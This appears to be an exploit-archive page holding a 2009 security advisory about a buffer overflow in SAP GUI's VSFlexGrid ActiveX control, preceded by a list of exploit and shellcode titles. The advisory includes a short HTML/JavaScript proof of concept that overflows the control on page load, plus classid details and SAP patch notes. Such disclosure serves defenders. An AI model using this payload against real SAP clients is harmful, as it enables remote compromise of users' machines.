880bbe402e
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
136 lines
No EOL
4.1 KiB
Text
136 lines
No EOL
4.1 KiB
Text
Application: SAP GUI VSFlexGrid.VSFlexGridL (Part of SAP GUI, SAP BO 2005, SAP BO 2007 )
|
|
Versions Affected: SAP GUI VSFlexGrid Activex Control sp<=14
|
|
Vendor URL: http://SAP.com
|
|
Bugs: Buffer Overflovw
|
|
Exploits: YES
|
|
Reported: 26.11.2008
|
|
Vendor response: 27.11.208
|
|
Public Advisory: 06.10.2009
|
|
Originaly found by: Elazar Broad
|
|
Author: Alexander Polyakov from Digital Security Research Group [DSecRG]
|
|
|
|
Description
|
|
***********
|
|
|
|
Component VSFlexGrid vulnerable to Buffer Overflow which was published in 2007 and not patched in SAPGUI untill this moment.
|
|
This component and included in default SAPGUI installation.
|
|
|
|
Details
|
|
*******
|
|
|
|
Information about this vulnerability in public since 2007 (https://www.securityfocus.com/bid/26467/info)
|
|
We found that wulnerable component VSFlexGrid is still not patched and is using in default SAP GUI Client installations
|
|
|
|
Tested on:
|
|
SAP Business One 2007 Client
|
|
SAP Business One 2005 Client
|
|
SAP GUI 7.10 (7100.2.7.1038)
|
|
|
|
|
|
So every SAP client is vulnerable to remote buffer overflow.
|
|
|
|
|
|
Attacker can construct html page which call vulnerable function "Acrchive" from ActiveX Object VSFlex7L
|
|
with long parameter "ArcFileName".
|
|
|
|
|
|
|
|
ActiveX component: VSFlexGrid
|
|
path: c:\program files\sap\frontend\sapgui\vsflex7l.ocx
|
|
object classid: C0A63B86-4B21-11D3-BD95-D426EF2C7949
|
|
|
|
|
|
prototype = "Sub Archive ( ByVal ArcFileName As String , ByVal FileName As String , ByVal Action As ArchiveSettings )"
|
|
memberName = "Archive"
|
|
progid = "VSFlex7L.VSFlexGrid"
|
|
argCount = 3
|
|
|
|
|
|
Example
|
|
*******
|
|
|
|
from
|
|
|
|
<!--
|
|
written by e.b.
|
|
-->
|
|
<html>
|
|
<head>
|
|
<script language="JavaScript" DEFER>
|
|
function Check() {
|
|
var s = "AAAA";
|
|
|
|
while (s.length < 262145) s=s+s;
|
|
|
|
var obj = new ActiveXObject("VSFlexGrid.VSFlexGridL");
|
|
|
|
obj.Text = s;
|
|
obj.EditSelText = s;
|
|
obj.EditText = s;
|
|
obj.CellFontName = s;
|
|
}
|
|
</script>
|
|
|
|
</head>
|
|
<body onload="JavaScript: return Check();" />
|
|
</html>
|
|
|
|
|
|
|
|
|
|
Fix Information
|
|
***************
|
|
SAP have two different SAP notes to address this issue:
|
|
|
|
FOR SAP Business One Client
|
|
The security issue is addressed with SAP note 1327004 (patch was released on July 8, 2009)
|
|
For SAP GUI
|
|
The security issue is addressed with SAP note 1092631 (patch was released on July 25, 2008)
|
|
|
|
|
|
|
|
References
|
|
**********
|
|
|
|
http://dsecrg.com/pages/vul/show.php?id=117
|
|
https://service.sap.com/sap/support/notes/1327004
|
|
https://service.sap.com/sap/support/notes/1092631
|
|
https://www.securityfocus.com/bid/26467/info
|
|
|
|
|
|
About
|
|
*****
|
|
|
|
Digital Security is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
|
|
|
|
|
|
Contact: research [at] dsecrg [dot] com
|
|
http://www.dsecrg.com
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Regards,
|
|
Digital Security Research Group [DSecRG]
|
|
________________________________________
|
|
DIGITAL SECURITY
|
|
tel/fax: +7(812)703-1547
|
|
tel: +7(812)430-9130
|
|
e-mail: research@dsecrg.com
|
|
web: www.dsecrg.com
|
|
----------------------------------------
|
|
This message and any attachment are confidential and may be privileged
|
|
or otherwise protected from disclosure. If you are not the intended
|
|
recipient any use, distribution, copying or disclosure is strictly
|
|
prohibited. If you have received this message in error, please notify
|
|
the sender immediately either by telephone or by e-mail and delete this
|
|
message and any attachment from your system. Correspondence via e-mail
|
|
is for information purposes only. Digital Security neither makes nor
|
|
accepts legally binding statements by e-mail unless otherwise agreed.
|
|
---------------------------------------- |